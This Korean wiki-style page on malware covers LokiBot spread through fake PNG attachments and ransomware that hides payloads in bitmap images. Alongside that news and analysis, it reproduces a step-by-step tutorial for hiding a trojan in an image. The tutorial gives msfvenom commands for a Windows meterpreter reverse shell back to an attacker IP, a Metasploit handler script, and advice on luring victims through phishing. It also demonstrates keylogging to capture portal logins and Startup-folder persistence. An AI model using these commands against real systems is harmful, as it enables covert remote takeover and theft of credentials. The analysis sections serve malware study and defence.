* [[조크 바이러스]]: 컴퓨터가 아니라 사용자의 멘탈을 공격하는 악성코드. 자세한 사항은 해당 문서 참조.
* [[허위 백신 프로그램]]: 금전적 이득을 얻으려는 목적으로 [[안티 바이러스|백신]] 프로그램을 사칭하는 불법 행위. 자세한 것은 해당 문서 참조.
* [[해킹툴]]: [[해킹]]에 악용되는 프로그램. 비전문가도 해킹을 할 수 있도록 도와주는 프로그램이다. 물론 진짜 [[해커]]들은 해킹툴을 사용하지 않고, 대부분이 실력은 없는데 해킹을 하고 싶은 [[스크립트 키디]]들이다. 자세한 것은 해당 문서 참조.[* 엄밀히 말해 해킹툴 자체는 이용하는 해커에게는 해를 끼치지 않지만, 해킹툴 자체가 해킹의 수단이 될 뿐 아니라 해킹을 위한 악성코드를 생성하므로 해킹툴도 악성코드의 일종으로 볼 수 있다.]
* [[istartsurf]]
* [[cl ncclick]] 인터넷 익스플로러에서 뭔가 검색만 하면 관련 키워드로 온갖 쇼핑몰 사이트로 안내하는 악성코드. --마크 복돌이가 자주 걸린다 카더라--
 
 
==PNG 그림 파일 타고 퍼지는 로키봇 멀웨어 주의==
PNG 그림 파일 타고 퍼지는 로키봇 멀웨어 주의
 
2019-04-09
 
원래는 .zipx 포맷인 첨부파일, png 파일로 둔갑해 퍼져
파일 구조도 png, 이미지 뷰어로도 여는 게 가능...게이트웨이와 사용자 속여
 
로키봇(LokiBot)이라는 정보 탈취형 트로이목마를 배포하는 스팸 캠페인이 발견됐다. 이를 적발한 보안 업체 트러스트웨이브 스파이더랩스(Trustwave SpiderLabs)는 “공격자들이 매우 독특한 탐지 회피 기술을 사용하고 있다”고 경고하기도 했다.
 
[이미지 = iclickart]
 
로키봇은 꽤나 널리 사용되는 트로이목마 중 하나로 엔드포인트로부터 정보를 몰래 빼내는 데 특화되어 있다. 트러스트웨이브의 수석 연구 책임자인 필 헤이(Phil Hay)는 “사용이 간편하고 효과적이라 인기가 높다”며 “다크웹의 암시장에서는 300달러 정도에 거래되는 물건”이라고 설명한다.
 
“최근 로키봇을 퍼트리는 스팸 이메일에는 세 가지 특성이 있습니다. 메일의 첨부파일은 .zipx라는 확장자를 가지고 있습니다. 즉 뭔가 압축되어 있다는 뜻이죠. 압축을 풀었을 때 악성 파일과 멀웨어가 장비 내에 설치됩니다. 그렇기 때문에 일반적인 이메일 보안 게이트웨이가 첨부된 압축파일을 발견하면 경고 메시지를 띄웁니다.”
 
그렇기 때문에 공격자들은 이 첨부파일을 걸리지 않고 전달해야 한다. “이 시점에서 공격자들은 보안 탐지 기술을 속이기 위한 난독화 기술을 부리기 시작합니다. 파일 시그니처(file signature)를 사용해 파일을 .PNG 이미지 파일로 바꾸는 겁니다. 공격자들은 .PNG 파일 구조를 사용하는데, .PNG 헤더와 IEND까지 완벽하게 구성합니다. 그러니 스캐너가 zipx 파일을 스캔해도 .PNG로 인식합니다.”
 
PNG 파일 내에서 IEND는 ‘이미지의 끝부분을 표시’하는 기능을 담당하고 있다. 또한 맨 마지막으로 나타나는 게 정상이다. “하지만 이번 공격에 사용된 파일의 경우 IEND 뒤에도 꽤 많은 데이터가 첨부되어 있습니다. 물론 이것 자체로 파일이 잘못된 건 아닙니다. PNG도 이런 걸 허용해줍니다. 다만 PNG를 화면에 출력하는 애플리케이션에 따라 이 데이터가 무시되기도 하고 해석되기도 합니다.”
 
그리고 이 악성 첨부파일은 구조만 .PNG가 아니다. 이미지 뷰어 프로그램을 사용하면 작은 .JPG 아이콘의 이미지가 나타나기도 한다. “이 역시 공격자들이 피해자들을 속이기 위해 마련한 것으로 보입니다.” 이런 다중의 난독화 기술 덕분에 이메일 보안 시스템이나 게이트웨이가 탐지에 실패할 때가 많다.
 
이 덕분에 악성 파일은 무사히 피해자의 시스템에 안착하고, 공격이 시작된다. “공격이 시작되는 건, 사용자가 첨부파일을 클릭하면서부터입니다. 피해자의 시스템 설정 상태에 따라 클릭 후 압축해제 프로그램이 시작될 수도 있고 이미지 뷰어가 시작될 수 있습니다. 그러나 윈라(WinRAR)로 열렸을 때 공격자가 원하는 대로 공격이 시작됩니다. 7-Zip이나 윈집(WinZip)으로 열릴 경우 모든 파일이 제대로 설치되지 않습니다.”
 
모든 시나리오가 공격자의 의도 대로 흘러갈 경우, 500KB였던 zipx 파일은 13.5MB의 페이로드로 변모한다. RFQ-5600005870.exe 파일이 나타나는데, 사용자가 더블클릭을 하면 실행된다. “이는 1단계 기능을 가진 멀웨어입니다. 실행되면 주요 페이로드를 복호화해서 메모리 내에 생성합니다. 이를 프로세스 할로윙(Process Hollowing)이라는 기술로 실행합니다.” 프로세스 할로윙이란, 새로운 프로세스를 중단된 상태로 만들어 메모리가 할당되지 않게 한 다음, 악성 코드를 주입하는 기법이다.
 
트러스트웨이브에 의하면 로키봇의 C&C 툴들은 PHP 프로그래밍 언어로 만들어졌다. 그리고 거의 모든 경우에 fre.php라는 파일 이름을 사용한다고 한다. “그러니 이메일 보안 기능이 못 미덥고, 이 로키봇 공격을 차단하고 싶다면 fre.php라는 파일을 막도록 게이트웨이를 설정해도 됩니다.”
 
 
3줄 요약
 
1. 최근 발견된 로키봇 캠페인, PNG 파일로 위장된 악성 첨부파일 퍼트리고 있음.
 
2. 로키봇은 꽤나 보편적인 정보 탈취형 멀웨어로, 약 300달러 정도에 거래됨.
 
3. 첨부파일에 유의하는 것 외에 fre.php라는 파일 차단하면 어느 정도 방어가 가능함.
 
 
==이미지 형태의 인코딩 데이터를 포함하는 악성파일 (1)==
이미지 형태의 인코딩 데이터를 포함하는 악성파일 (1)
 
2017년 9월 29일
 
IT 기술이 발전하는 만큼, 그리고 다양한 보안 제품과 장비에서의 기술이 발전하는 만큼 악성코드에서 사용하는 기술 또한 정교해지고 복잡하게 발전하고 있다는 점은 이미 널리 알려진 사실이다. 특히 악성코드 제작자의 입장에서는 1차적으로 보안 장비/제품에서 탐지되지 않는 것이 매우 중요하므로 다양한 탐지 회피 기법을 적극적으로 도입하고 있다. 탐지 회피 기법의 대표적인 예로는 악성코드의 외형을 가급적 정상 파일과 비슷하게 유지하면서 악의적인 데이터를 파일 외부에서 바로 확인할 수 없도록 인코딩 등의 과정을 거쳐 은닉하는 방법이 있으며, 악성코드의 종류에 따라 매우 다양한 데이터 은닉 기법이 발견되고 있다.
 
이러한 은닉 기법 중에서 인코딩 된 데이터가 비트맵 이미지 (BMP) 형태로 위장된 형태의 악성코드에 대해서 소개할 예정이며, 다음과 같이 두 가지 유형에 대해서 총 2회에 걸쳐 설명한다.
 
[유형-1] 리소스 섹션에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드
 
[유형-2] VisualBasic 의 Form 내부에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드
 
[0] 비트맵 이미지 (BMP)
 
해당 유형의 악성코드를 자세히 살펴보기 이전에 먼저 비트맵 이미지에 대해 기본적인 이해가 필요하다. 비트맵 (BITMAP) 이란 비트(BIT) 와 맵(MAP) 의 합성어로, 일련의 비트가 나열된 데이터의 집합을 의미한다. 비트는 컴퓨터에서 데이터를 표현하는 데 사용되는 최소의 단위이며 0과 1로 구성된다. 비트맵으로는 단순한 데이터를 저장할 수도 있지만 이미지 데이터를 저장할 경우에는 비트맵 이미지로써 해석될 수 있다.
 
비트맵 이미지는 비트맵 헤더와 이미지 데이터로 구성되어 있다. 비트맵 헤더는 운영체제 또는 응용프로그램에서 비트맵 이미지를 제대로 해석하기 위해 필요한 정보로, 운영체제에 따라 일부 차이가 있으나 여기서는 Windows 기준으로 설명한다.
 
비트맵 이미지의 시작 부분에는 BitmapFileHeader 와 BitmapInfoHeader 가 위치하고 있다. BitmapFileHeader 는 “BM” 문자열로 시작하며, 비트맵 이미지의 전체 크기와 이미지 데이터가 시작되는 위치에 대한 정보를 포함된다. 바로 이어서 등장하는 BitmapInfoHeader 에는 이미지의 가로, 세로 크기와 사용되는 색상의 심도, 압축 사용 여부 등의 정보를 포함하고 있다. 실제 비트맵 이미지 파일에서 각 헤더와 이미지 데이터의 모습을 [그림1] 에 표시하였다.
 
[그림 1] 비트맵 이미지 구조
 
앞서 분류한 두 가지 유형의 악성코드에는 내부에 비트맵 이미지를 포함되어 있다고 소개했다. 그렇다면 해당 비트맵 이미지는 어떤 그림을 표현하고 있을까? 특이하게도 악성코드 내부의 이미지들은 아래 [그림 2]와 같이 사람이 보기에는 의미를 찾을 수 없는 형태로, 다양한 색의 점으로 가득 찬 모습이다. 이러한 형태의 비트맵 이미지를 본 문서에서는 '랜덤픽셀 이미지' 라고 지칭하며, 이제부터 각 유형의 악성코드와 랜덤픽셀 이미지에 대해 조금 더 자세히 살펴보겠다.
 
[그림 2] 악성코드 [유형-1] 과 [유형-2] 내부의 랜덤픽셀 이미지
 
[1] 리소스 섹션에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드
 
[유형-1]의 악성코드는 섹션의 개수, 진입점(EntryPoint) 부분 코드의 흐름 등 구조적으로 Visual Studio 로 컴파일 된 실행파일의 특징을 보인다. 총 4개의 섹션 중 리소스(.rsrc) 섹션에 다양한 리소스 엔트리를 포함하고 있는데, [그림 3] 에서 확인할 수 있듯 공통적인 특징으로 BITMAP 엔트리가 존재한다. BITMAP 엔트리는 실행파일 내부에서 사용하는 이미지 파일이 저장되는 곳으로, GUI 기반의 실행파일에서 흔하게 확인이 가능한 리소스이다.
 
[그림 3] 악성코드 유형-1 의 섹션 구조
 
[유형-1] 악성코드는 랜덤픽셀 이미지를 BITMAP 리소스 엔트리 내부에 포함하고 있다. 같은 유형의 악성코드일지라도 개별 파일간에 차이가 존재하여, BITMAP 리소스 엔트리 내부에 1개의 이미지만 포함하는 경우도 있고, 다수의 이미지를 포함하기도 한다. 주요한 특징은 [유형-1] 악성코드라면 BITMAP 리소스 엔트리 내에 랜덤픽셀 이미지가 반드시 1개는 존재한다는 점이다. [그림 4] 에 나타난 것과 같이 [샘플 1-1]은 BITMAP 리소스 엔트리 내에 2개의 비트맵 이미지를 포함하며, 그 중 두 번째 이미지가 랜덤픽셀 이미지이다. [샘플 1-2]의 경우는 총 3개 중 세 번째 이미지에, [샘플 1-3]은 내부에 1개의 랜덤픽셀 이미지만 존재한다.
 
[그림 4] 악성코드 [유형-1] 내부의 랜덤픽셀 이미지
 
그렇다면 악성코드가 내부에 이러한 랜덤픽셀 이미지를 포함하는 이유는 무엇일까? 비트맵 이미지로 해석되고 있는 이 이미지들은 사실은 악성코드가 실제 악성 행위를 수행하기 위해 2차로 만들어내는 또 다른 악성코드를 인코딩 한 데이터이다.
 
[샘플 1-1]의 코드 흐름을 따라가보며 확인해보겠다. 해당 샘플의 main 함수 내에 진입하면, 처음에는 의미 없는 코드가 일부 실행되다가 [그림 5]의 (1)과 같이 메모리를 할당 받는 코드가 등장한다. 그 이후 파일 본체에서 특정 위치를 참조하여(2) 해당 데이터를 할당 받은 메모리에 복사하는(3) 루틴이 존재한다.
 
[그림 5] 샘플 1-1 에서 랜덤픽셀 이미지를 참조하는 부분
 
복사되는 데이터의 위치를 실제 그림에서 확인해보면, [그림 4] 에 나타난 [샘플 1-1] 의 그림에서 아래쪽 부분의 분홍색 영역과 랜덤픽셀 이미지 영역의 경계 부분에 해당한다. 즉, 분홍색의 바탕 그림 부분은 악성 데이터에 해당되지 않으며, 중간영역의 랜덤픽셀 이미지 부분만이 유효한 악성 데이터로서 사용된다. 사람이 보기에는 의미를 알 수 없는 랜덤픽셀 이미지 형태가 나타나는 이유는 해당 데이터가 본래 '그림'을 나타내기 위한 데이터가 아닌 인코딩 된 형태의 데이터이기 때문을 알 수 있다.
 
랜덤픽셀 이미지 영역에서부터 복사해온 데이터를 디코딩하는 방법은 악성코드의 종류별로 약간 차이가 있으나, [샘플 1-1] 의 경우 TEA (Tiny Encryption Algorithm) 를 통해 디코딩 하고 있다. [그림 6] 에 랜덤픽셀 이미지의 디코딩 전 후 내용과 TEA 코드 부분 일부를 포함하였다.
 
[그림 6] 랜덤픽셀 이미지 영역의 디코딩
 
이와 같이 내부에 디코딩 된 코드로부터 본격적인 악성행위가 발생하기 때문에, 외형상의 특징만으로 어떠한 악성행위를 하는 악성코드인지를 바로 판단하는 것은 어렵다. 본문에서 예제로 든 3가지 샘플 또한 서로 다른 기능의 악성코드로, [샘플 1-1]과 [샘플 1-3]의 경우는 SageCrypt 랜섬웨어이며 [샘플 1-2]는 Matrix 랜섬웨어이다. 랜섬웨어 이외에도 Trojan 이나 Backdoor 등의 악성코드에서도 [유형-1]의 특징을 갖는 경우가 다수 발견되었다.
 
AhnLab V3 에서는 [유형-1] 의 샘플을 다음과 같은 진단명으로 진단한다.
– HEUR/Ranpix.Gen
 
 
 
==MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기==
MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기
 
2020. 5. 21.
 
이 내용을 악용하여 다른 시스템에 적용하지 않습니다.
그로 인한 법적인 책임은 본인에게 있습니다.
자신이 운영하는 시스템의 보안 취약점을 찾아내는 용도로만 사용하세요.
 
ி MSFVenom
 
metasploit에서 제공하는 페이로드를 생성할 수 있는 도구로서
exe 실행 파일에 악성코드, 정확히 말하면 exploit 코드를 주입할 수 있다.
 
ி 4w4k3 Umbrella
 
Umbrella는 이미지와 exe를 합칠 수 있게 해주는 파일 드로퍼이다.
드로퍼 - 실행 시 바이러스를 불러오는 실행 파일이다.
이미지 파일에 악의적인 실행 파일을 심으면
단순히 사진 파일을 열어보는 것만으로도 악성코드가 실행될 수 있다.
특히 이미지 뷰어를 통해서 사진이 실제로 보여지므로 일반 사용자 입장에서는
정상적인 파일이라고 착각하기 쉽다.
 
ி 실습
 
시나리오 구성은 윈도우7에서 공격자 웹서버(kali)에서 제공하는
악성 이미지 파일을 다운받도록 한다.
그 후 kali에서 윈도우7의 세션을 획득한다.
윈도우7 사용자가 이미지 파일을 여는 순간 익스플로잇 코드가 실행되어
윈도가 칼리리눅스 포트로 알아서 접속해준다.
이러한 방식을 Reverse Shell이라고 한다.
 
앞으로 진행할 내용을 간단하게 정리하자면
msfvenom으로 악성코드가 담긴 exe를 만들고
Umbrella를 통해서 악성 exe와 이미지 파일을 합칠 것이다.
그리고 웹에 악성 이미지 파일을 올리고 사용자가 열어보아 감염된다는
전개로 진행한다.
 
우선 파일을 올릴 수 있는 웹 서비스 환경을 만들어 주어야 하는데
칼리에서는 이미 웹 서버가 구축되어 있으므로 웹서버 시작 명령어만 실행하면 된다.
# service apache2 start
 
그리고 msfvenom으로 악성코드가 주입된 exe 파일을 만들어야 한다.
msfvenom으로 reverse 셸을 사용할 수 있는 페이로드를 조회하는 명령은
아래와 같다.
# msfvenom -l payloads | grep "reverse"
 
저 페이로드 중에 시나리오에 맞는 적합한 항목을 선택해야 한다.
우선 공격자는 윈도우 대상으로 악성 코드를 만들 것이기 때문에
windows os가 들어간 페이로드를 골라낸다.
그 중에서 리버스셸을 이용하는 페이로드를 선택한다.
그리고 악성코드를 실행시키려고 하는 운영체제가 32bit인지 64bit인지 모르기 때문에
32bit를 선택한다. 왜냐하면 보통 악성코드는 32bit 환경으로 만드는데
64bit 악성코드로 만들면 32bit 운영체제에서는 실행이 안되기 때문이다.
따라서 종합적으로 고려해보아 아래의 페이로드를 선택하였다.
 
windows/meterpreter/reverse_tcp
 
선택한 페이로드를 생성하기 위한 명령은 다음과 같다.
 
# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.186 lport=4444 -f exe -o /root/Desktop/1234.exe
lhost는 로컬 호스트 ip, 즉 칼리리눅스의 ip이다.
lport는 로컬 호스트의 port이며 이미 사용 중인 포트를 뺀 1024번 이후의 포트를 입력한다.
-f 옵션은 실행 파일 형태를 나타내고 -o는 출력할 파일 경로를 지정한다.
뒤에 실행 파일 이름은 본인이 원하는대로 지정해주자.
이 파일을 실행하게 되면 상대가 내 ip:port로 접속하게 된다.
 
익스플로잇을 위한 exe 파일을 만들었다면
웹서버 루트디렉터리에 해당 악성 파일과 나중에 합칠 이미지 파일을 함께 업로드한다.
그 후 이미지 악성코드 생성을 위한 4w4k3을 다운받는다.
칼리리눅스에서 아래의 깃 명령을 사용하여 받아오도록 하자.
# git clone https://github.com/4w4k3/Umbrella.git
 
Umbrella 디렉토리로 이동하여 아래와 같이 install 명령을 수행한다.
# chmod 777 install.sh
# ./install.sh
중간에 서버 접속 실패라는 메시지가 뜨면 인스톨 파일을 재실행해야 한다.
설치 과정에서 나오는 win py32는 꼭 다운로드하고 옵션은 기본 값으로 놓고 진행한다.
 
설치가 완료되면 Umbrella를 실행한다.
# python umbrella.py
 
Umbrella 옵션은 D(Gen Dropper), 4번(Image Dropper)을 선택한다.
 
그 후 아까 만들어놓았던 악성 파일의 위치와 사진 파일을 업로드한다.
Insert url from your exe to drop: [서버ip/악성 파일]
Ex) http://192.168.0.186/1234.exe
Insert url from file to embed: [서버ip/사진 파일]
Ex) http://192.168.0.186/cat.jpg
 
명령을 실행하고나면 .../Umbrella/dist 디렉토리에
이미지 악성 파일이 생성됐을 것이다.
 
이제 상대가 내 포트로 들어올 수 있도록
악성 파일을 생성할 때 입력했던 4444 포트를 열어줄 것이다.
 
포트를 열기 위한 명령어의 묶음을 파일로 만들어 준다.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.186 // 칼리 ip
set lport 4444
set exitonsession false // 백그라운드로 세션을 하기 위해서 사용한다.
exploit -j // 연결 대기
 
필자는 local_handler.rc라는 이름으로 만들었는데
파일명은 아무거나 해도 상관없지만 확장자는 rc로 저장해야 한다.
 
이제 아래 명령을 수행하면 대상 시스템이
악성 코드를 실행할 때까지 포트를 열고 기다리는 상태가 된다.
# msfconsole -r local_handler.rc
여기서 공격자가 추가로 해야하는 것은
윈도우 사용자가 저 사진 파일을 열어보도록 해야한다.
이는 사회공학적 기법을 활용하여 피싱 메일을 보내거나
본인이 운영하는 웹 페이지에 관심을 끌 수 있는 사진 파일을 올리는 등
여러 가지 수단이 있을 것이다.
 
한 가지 가정을 하자면 윈도우 사용자는 웹 페이지를 둘러보다가
고양이 사진을 보려고 공격자의 서버에 접속한 상황이라고 예를 들어보자.
 
사용자는 멀쩡한 사진을 보고 있는 것 같지만
실제로는 악성 행위도 같이 실행되는 트로이목마 바이러스에 걸려든 것이다.
 
그 후 공격자는 해당 사용자의 시스템 제어 권한을 획득하였다.
 
0.186이 공격자, 0.215가 피해자 ip이다.
 
이제 공격자는 대상이 어떤 작업을 하는지 지켜볼 수 있다.
해당 사용자가 웹캠을 쓰면 사용자의 모습을 녹화할 수 있고
윈도우 작업 화면을 찍을 수도 있다.
 
우선 간단하게 screenshot 명령을 통해서 대상이 작업중인 화면을 찍어보자.
 
상대방의 윈도우 화면이 사진으로 저장된 모습이다.
 
이뿐만 아니라 대상이 입력하는 키값을 볼 수도 있다.
키로그 명령을 사용하면 상대방이 입력한 모든 키들을 공격자에게 전송한다.
여기서 공격자가 선호하는 정보들은 아마도 특정 포털 사이트에 로그인하는 정보들일 것이다.
 
실제로 아래의 명령을 사용하여 키로깅을 시작하고
대상 컴퓨터에서 네이버 계정으로 로그인해보자.
 
keyscan_start
 
대상 시스템에서 네이버 계정을 치고 들어간다.
이후 공격자가 keyscan_dump를 입력하면
상대가 네이버 포털 사이트에서 입력했던 계정 정보들을 확인할 수 있다.
 
아이디가 abcd1234, 비밀번호는 password12345라고 입력한 것이 확인된다.
반대로 키를 전송하는 명령어인 keyboard_send도 있으며 아래와 같이 사용한다.
keyboard_send "상대에게 보낼 키보드 입력값 지정"
 
더 많은 기능들은 help 명령을 통해 조회가 가능하니 참고하자.
 
그런데 여기서 문제 하나가 있다.
대상 컴퓨터가 재부팅을 하면 공격자와의 세션이 끊기게 된다는 점이다.
이 경우 피해자가 악성 행위를 하는 파일을 다시 실행해야 세션 탈취가 가능하다.
하지만 애초에 공격자가 피해자 컴퓨터에다가 악성 파일을 시작 프로그램에 올려두면
시작 프로그램 폴더에 있는 파일들은 컴퓨터가 시작될 때 자동으로 실행되므로
컴퓨터를 재부팅해도 다시 세션을 받아올 수 있다.
 
이제 윈도우 시작 프로그램에 악성 파일을 업로드해보자.
시작프로그램 경로는 아래와 같다.
C:\Users\사용자\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
 
미터프리터에서 파일을 올릴 때는 아래 명령어를 사용한다.
upload [절대경로 및 파일이름]
 
그리고 파일은 msfvenom으로 만들어놓았던 exe 악성 파일을 올린다.
그 이유는 컴퓨터가 재부팅될 때 뜬금없이 사진이 뜬다면 사용자가 의심하게 되기 때문이다.
저 작업을 해두면 컴퓨터를 껐다 켜도 항상 공격자와 피해자 세션 상태가 유지된다.
 
 
===윈도우 사용자는 웹 페이지를 둘러보다가 고양이 사진을 보려고 공격자의 서버에 접속===
MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기
 
2020. 5. 21.
 
여기서 공격자가 추가로 해야하는 것은 윈도우 사용자가 저 사진 파일을 열어보도록 해야한다. 이는 사회공학적 기법을 활용하여 피싱 메일을 보내거나 본인이 운영하는 웹 페이지에 관심을 끌 수 있는 사진 파일을 올리는 등 여러 가지 수단이 있을 것이다.
 
한 가지 가정을 하자면 윈도우 사용자는 웹 페이지를 둘러보다가 고양이 사진을 보려고 공격자의 서버에 접속한 상황이라고 예를 들어보자.
 
사용자는 멀쩡한 사진을 보고 있는 것 같지만 실제로는 악성 행위도 같이 실행되는 트로이목마 바이러스에 걸려든 것이다.
 
그 후 공격자는 해당 사용자의 시스템 제어 권한을 획득하였다.
 
 
== 악성코드 분석 관련 정보 제공 사이트 ==
* [[바이러스토탈]](미국): '''[[https://www.virustotal.com|https://www.virustotal.com]]'''
* malwr: '''[[https://malwr.com|https://malwr.com]]'''
* virscan: '''[[http://www.virscan.org|http://www.virscan.org]]'''
* 메타스캔 온라인(미국): '''[[https://www.metascan-online.com|https://www.metascan-online.com]]'''
* 제로서트(한국): '''[[http://www.zerocert.org]]'''
* 멀웨어즈닷컴(한국): '''[[https://www.malwares.com|https://www.malwares.com]]'''
* 망고스캔(한국): '''[[https://www.mangoscan.com/|https://www.mangoscan.com]]'''
* 포이즌아이(한국): '''[[https://poisoneye.info|https://poisoneye.info]]'''
* 캐츠워즈(한국): '''[[https://exts.kr|https://exts.kr]]'''


[[Category:보안]]
[[Category:악성 코드]]
[[Category:악성 코드]]
[[Category:코드]]
[[Category:코드]]
[[Category:해킹]]
[[Category:악성코드]]
[[Category:컴퓨터 공학]]
[[Category:컴퓨터 보안]]
[[Category:컴퓨터]]
[[Category:보안]]
9

edits

Navigation menu